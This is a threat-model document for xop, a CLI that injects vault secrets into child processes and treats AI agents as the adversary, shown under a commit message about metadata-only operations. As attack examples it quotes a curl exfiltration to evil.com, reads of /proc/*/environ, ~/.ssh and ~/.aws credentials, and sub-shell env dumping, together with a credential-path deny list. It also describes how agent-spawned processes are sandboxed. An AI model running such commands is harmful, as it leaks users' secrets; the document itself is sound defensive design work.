Files
xop/docs/threat-model.md
T
xop-botandClaude Code 7660b92d70 v0.5: 描述元数据 + list 免引号搜索 + 元数据操作免闸门
影响: key 多了人/AI 可读的用途说明(存加密 vault 内,不落明文文件);
`xop list` 的搜索不用再打引号; `xop list` / `xop desc` 只碰元数据、
永不吐 value,因此不再弹指纹、不再问口令 —— agent 跑 xop 不会被打断。
118 unit + 40 integration 全绿。

改动:
- 新增 `xop desc KEY [TEXT...]`: 描述存 vault 的 `__meta__` TOML 子表;
  文字用空格 join(不用引号), 真打进 vault 的一层引号会被剥掉;
  不写文字 = 清除描述(不用敲空引号 "")
- `xop list [TERM...]`: 搜索默认改成大小写不敏感的子串匹配, 命中 key 名
  或描述, 不用引号、不用通配符; 含 `*` `?` `[` 的词仍切 glob 语义
  (老写法 `xop list 'git_*'` 行为不变); 多词取并集
- 新增 `Vault::open_metadata` / `open_metadata_at`: 只开元数据路径,
  0600 keyring 静默解锁, 无 keyring 才回落手输 passphrase;
  `get`/`set`/`rm`/`run` 仍走 `Vault::open` 全套闸门
- 新增 `auth::Intent` + `auth::needs_gate(intent)`: 把"哪些操作要闸门"
  写成纯函数; `Vault::open` 与 `open_metadata` 共享 `decrypt_with` 核心
- 新增 `src/glob.rs`: 轻量匹配器, `*` 任意长 / `?` 单字符, 零新依赖;
  搜索用的 `has_meta` / `matches_ignore_case` / `contains_ignore_case` /
  `contains_glob_ignore_case`
- 新增 `src/datadir.rs`: 数据目录 `~/.xop/` → `~/.x/xop/`, 迁移是
  **复制不移动**(旧目录留作备份), 新 vault 已存在则跳过
- `keyring::load_at` / `save_at` 改 pub(路径显式化, 单测不碰全局 HOME)
- `audit.rs` 新增 `vault_desc(name)`: 只记 key 名, 描述文字不入日志(I2)
- 集成测试新增 pty 回归 `list_under_a_tty_never_prompts_for_biometrics`:
  `script -q /dev/null` 起真 pty + 30s 超时, 闸门若回来则失败而非挂死
- 版本 0.4.0 → 0.5.2; AGENTS.md / HANDOFF.md / docs/* 同步;
  examples 里 v0.5 搬家前的 `~/.xop/` 残留路径一并修正

设计: "搜索要打引号"的根因是 shell 通配符(`*` 在 zsh 下没匹配文件直接
`no matches found`), 不是 xop —— 所以正解不是"少打引号", 而是让日常
搜索根本不需要通配符: 默认子串匹配, `*`/`?`/`[` 只在用户显式写了时才
切回 glob。免闸门只给元数据操作: 闸门的意义是"释放真值前确认有人在场",
而 list/desc 永不吐 value; 值路径(get/set/rm/run)一行没动。

Co-Authored-By: Claude Code <[email protected]>
2026-10-22 17:03:12 +08:00

13 KiB

xop · Threat Model

Adversary: an AI agent running on behalf of a user, plus any compromised sub-process the agent spawns. Defender: xop, the user who configured the policy, the OS. Non-adversary: the user themselves (we trust them to provide policy).

T1 — LLM Provider Sees the Secret

Attack: agent calls cat ~/.x/xop/key.db or echo $DB_PASS to "verify" a value, plaintext flows into LLM provider's request body, gets logged server-side, possibly used for training.

Mitigation:

  • Refs only (bare key names like db_pass) cross the LLM API trust boundary.
  • Even if a value somehow ends up in the prompt, the secret flag schema enforces KEY=NAME shape — no scheme prefix that could leak backend identity.
  • The xop CLI never takes a --secret-value flag. Period. There is no code path that accepts a value as an argument.

Residual risk: if a vault decrypt succeeds and a bug causes xop to log it. Counter: secrecy::SecretBox<String> with Debug impl that prints <secret>. All log macros use % (Display) not ? (Debug) for secret fields.

T2 — Secret Visible in ps Output

Attack: agent runs xop --secret DB_PASS=db_pass mysql ... then any user on the box runs ps eww $(pgrep mysql) and reads the envp.

Mitigation:

  • xop's own argv (visible in ps during xop's lifetime) contains only --secret DB_PASS=db_pass — the ref, not the value.
  • xop is short-lived (one fork+exec per invocation), so its ps footprint is < 100ms.
  • The child process (mysql) does receive the value in envp. This is unavoidable for envp injection. Mitigation: --allow-net to limit what that child can do with the secret, and --on-leak=kill|refuse to catch leaks.

Residual risk: another process with same UID reads /proc/<pid>/environ (Linux). Mitigation: file policy denies reads to /proc/*/environ (see T6).

T3 — Secret Visible in Shell History

Attack: user (or AI) types xop --secret DB_PASS=db_pass mysql ..., shell records full command with db_pass ref. Ref itself is harmless but reveals which vault item is in use — sometimes metadata is sensitive.

Mitigation:

  • Recommend HISTIGNORE="xop *" in user's .bashrc / .zshrc.
  • xop itself, when spawning the child, sets HISTFILE=/dev/null and EXTENDED_HISTORY=0 in the child's environment if it looks like an interactive shell.
  • --secrets-file <path> mode means the command line itself never has a ref — only the path to the file.

Residual risk: the bare key name in the command is itself observable metadata. Out of scope for v0.2; v0.3 may add ref-to-hash translation for history scrubbing.

T4 — Child Prints Secret to Stdout

Attack: child runs echo $DB_PASS, output goes to agent's context, captured in agent's logs.

Mitigation: src/guard/stdout.rs puts a pipe filter between child stdout and the inherited tty:

  • Default: regex-mask secret values with [REDACTED:KEY] and pass through.
  • With --on-leak=kill: SIGKILL child, exit 77.
  • With --on-leak=refuse: refuse to spawn at all (parse-time check on argv for patterns like echo $DB_PASS).

Residual risk: encoding tricks (base64, hex, ROT13) evade regex. Mitigation v0.3: integrate with entropy-based detection (gitleaks-style). Out of scope for v0.2.

T5 — Child Exfiltrates Secret Over Network

Attack: child runs curl -d "$DB_PASS" https://evil.com/exfil.

Mitigation: src/guard/network.rs:

  • macOS: inject pf rules pinning child's outbound to --allow-net list. Default deny *.
  • Linux: iptables -m owner --pid-owner <child_uid> to apply rules.
  • Fallback (any Unix): http_proxy=http://127.0.0.1:0 to break HTTP, plus --allow-net for HTTPS whitelist (still imperfect — agent could use raw TCP).

Residual risk: child uses raw sockets, DNS tunneling, ICMP. Hard problem; v0.2 ships deny-by-default for all network unless allowlist provided (network policy itself is stubbed at the OS level — see HANDOFF §3).

T6 — Child Reads Protected Files

Attack: child runs cat /proc/self/environ or reads ~/.ssh/id_rsa or ~/.aws/credentials.

Mitigation: src/guard/file.rs:

  • Pre-seeded deny list: /proc/self/environ, /proc/*/environ, ~/.ssh/id_*, ~/.aws/credentials, ~/.config/gh/hosts.yml, ~/.netrc.
  • macOS: sandbox-exec -p <profile> with (deny file-read* (subpath "/etc/shadow")) etc.
  • Linux: landlock ABI (kernel ≥ 5.13) for fine-grained FS ACL on the child only.

Residual risk: symlink races, TOCTOU. v0.2 best-effort; v0.3 may add (deny file-read* (subpath ...)) style checks at every openat.

T7 — Child Spawns a Sub-Shell to Bypass Policy

Attack: child runs bash -c 'env | grep -E PASS'. The grandchild inherits envp and stdout, bypassing xop's stdout pipe (because the grandchild's stdout is still the pipe xop set up — actually, this doesn't bypass the pipe — bash will write to inherited fd 1, which is the pipe).

Reality check: descendants inherit the file descriptors xop set up, including stdout pipe. So src/guard/stdout.rs does still catch their stdout. Good.

Mitigation: xop sets BASH_ENV= and ENV= to empty in child envp to prevent startup files from injecting wrapper scripts. Also set +o history if interactive shell detected.

Residual risk: child execs a binary that re-opens /dev/tty directly. Hard to detect. v0.2 acceptable risk; v0.3 may add ptrace on Linux for syscall auditing.

T8 — Core Dump Leaks Envp

Attack: child crashes (SIGSEGV), kernel writes core dump to /var/lib/systemd/coredump or core.<pid>. Envp visible.

Mitigation: xop sets RLIMIT_CORE=0 in child before exec via cmd.pre_exec(|| setrlimit(RLIMIT_CORE, 0, 0)). macOS sets CORE_FILE_SIZE=0 similarly.

T9 — Audit Log Itself Leaks

Attack: audit log JSONL file at ~/.x/xop/audit.jsonl accumulates. If filesystem is later exfiltrated, secrets leak.

Mitigation: src/audit.rs writes ONLY refs and metadata, never values. Type system enforces this: AuditEvent has fields ref: String, backend: String, child_pid: u32, policy_hash: String — no value: String field exists. Invariant test (audit::tests::no_value_field_in_any_event) scans for "value":, "plaintext":, "ciphertext":, "passphrase": substrings in every test event.

T10 — Vault File Stolen Off Disk

Attack: attacker gets filesystem read access (laptop theft, backup exfil, malicious process). They grab ~/.x/xop/key.db.

Mitigation:

  • Vault is encrypted at rest: AES-256-GCM with 256-bit key derived via argon2id(passphrase, salt).
  • Argon2id parameters: m=64 MiB, t=3, p=4 — chosen to take ~250ms per attempt on modern CPUs, defeating offline brute force.
  • Salt is 16 bytes random per vault (header), so rainbow tables are useless.
  • Per-save nonce is 12 bytes random — AES-GCM guarantees ciphertext indistinguishability across writes of the same plaintext.
  • Auth tag (GMAC) detects tampering.

Residual risk (v0.2.1): if the attacker can also read ~/.x/xop/keyring (same-UID process, or a backup that grabs the whole ~/.x/xop dir), the passphrase factor is gone — the hex key decrypts the vault directly. Protections: keyring mode 0600 + dir 0700, load() REFUSES any group/other-readable file, xop key --remove revokes instantly, XOP_NO_KEYRING=1 forces typing. Same-UID malware can equally type-jack a live terminal, so this does not widen the classic threat surface — but it IS the accepted tradeoff that makes xop run unattended-able. Threat T13 below covers it. Also: weak passphrase — future v0.3 may add zxcvbn-style strength meter during init.

T11 — Attacker Bypasses OS Auth (Touch ID)

Attack: attacker tricks macOS Touch ID (e.g. sleeping laptop with fingerprint on sensor).

Mitigation: OS auth is only a pre-gate — bypassing it still leaves the attacker needing the unlock secret (typed passphrase or keyring file). The keyring NEVER substitutes for the gate: Vault::open runs auth::authenticate() first, and the gate's verdict decides keyring eligibility (auth::decide): silent keyring unlock is allowed only after a live biometric verification on the local console, or in a headless automation context (no TTY). Everywhere identity cannot be biometrically proven — SSH sessions (a biometric prompt would pop on the wrong screen: the local console), devices with no enrolled/available biometrics, broken osascript, Linux interactive — the operation requires the typed xop passphrase and does not consult the keyring at all. Biometric alone never reveals plaintext. Since 2026-10-02 the prompt is biometrics-only LAContext: cancelling it (LAError -128/-5/-12) hard-refuses the operation (exit 77) instead of silently degrading, and there is no password option in the dialog — the system login password is never offered as a fallback.

Residual risk: if the attacker also has the passphrase or the keyring (see T13), they're in. Out of scope.

Exception (v0.5.1, user request 2026-10-22 — "AI 做会中断"): the gate does NOT run for metadata-only operations — xop list and xop desc. They read and write only key names and descriptions; a secret value is never produced by them, so there is nothing for the gate to protect. Vault::open_metadata unlocks via the keyring (0600, same-UID) with no biometric and no passphrase; without a keyring it still falls back to typing the xop passphrase. The policy is pinned by auth::needs_gate(Intent): Metadata → no gate, Value → gate. Every operation that touches a value (get / set / rm / run) keeps the full gate. Accepted residual risk: someone at an unlocked console can read your key names and descriptions without a biometric prompt — names are metadata, not credentials, and the same person can already read them in any headless automation context. This does not widen T13 (keyring theft): reading the keyring still yields every value.

T12 — Race Condition: Ref Resolved After Spawn

Attack: xop resolves ref, then spawns child. Between resolution and execve, a debugger attaches to xop, reads its memory.

Mitigation: resolution is synchronous and <1ms; debugger attachment is the threat model of "local attacker has root" which is game over anyway. Out of scope.

T13 — Keyring File Stolen (v0.2.1)

Attack: malware running as the same UID (or a stolen/loose backup of ~/.x/xop) reads ~/.x/xop/keyring — the hex argon2-derived key — and decrypts ~/.x/xop/key.db without ever knowing the passphrase.

Mitigation:

  • This is an explicitly accepted tradeoff (user decision 2026-10-02): the alternative — macOS Keychain storage — popped system authorization dialogs during automation and was rejected outright.
  • File mode 0600, dir ~/.x/xop 0700, atomic write via tmp+rename.
  • keyring::load_at refuses any file whose mode has group/other bits set (error, not silent use) and any non-64-hex content.
  • Instant revocation: xop key --remove (or xop reset --yes, which cascades).
  • Per-invocation opt-out: XOP_NO_KEYRING=1 forces passphrase typing.
  • Same-UID is the boundary: a same-UID process can also read the live terminal / keylog the typed passphrase, so the keyring does not meaningfully widen the local-threat surface — it moves one factor from "memory" to "disk".
  • Not a remote risk: nothing exfiltrates ~/.x/xop by design; backups of the dir should be treated as secret material (or exclude keyring).

Residual risk: backups / dotfile-sync tools (Dropbox, iCloud ~ sync) copying ~/.x/xop/keyring off-machine. Mitigation: sync tools honouring dir perms are outside xop's control — document "back up key.db only, never keyring", or keep the dir out of sync paths.

Summary table

# Threat v0.2 status
T1 LLM sees secret ✅ refs-only invariant
T2 ps output ✅ argv never has values
T3 shell history ⚠️ HISTIGNORE recommendation
T4 stdout leak ✅ pipe filter implemented
T5 network exfil ⚠️ stubbed — needs pf/iptables
T6 protected file reads ⚠️ stubbed — needs sandbox-exec/landlock
T7 sub-shell bypass ✅ inherited fds catch descendants
T8 core dump ✅ RLIMIT_CORE=0 in child
T9 audit log leaks ✅ type system + scan test
T10 vault file stolen ✅ AES-256-GCM + argon2id
T11 Touch ID bypass ✅ keyring only after proven identity (biometric pass or headless); SSH/no-biometric → passphrase typed; cancel = exit 77. v0.5.1 exception: metadata-only ops (list/desc) skip the gate — they never release a value
T12 debug attach out of scope
T13 keyring file stolen ✅ accepted tradeoff — 0600 enforced, revoke via xop key --remove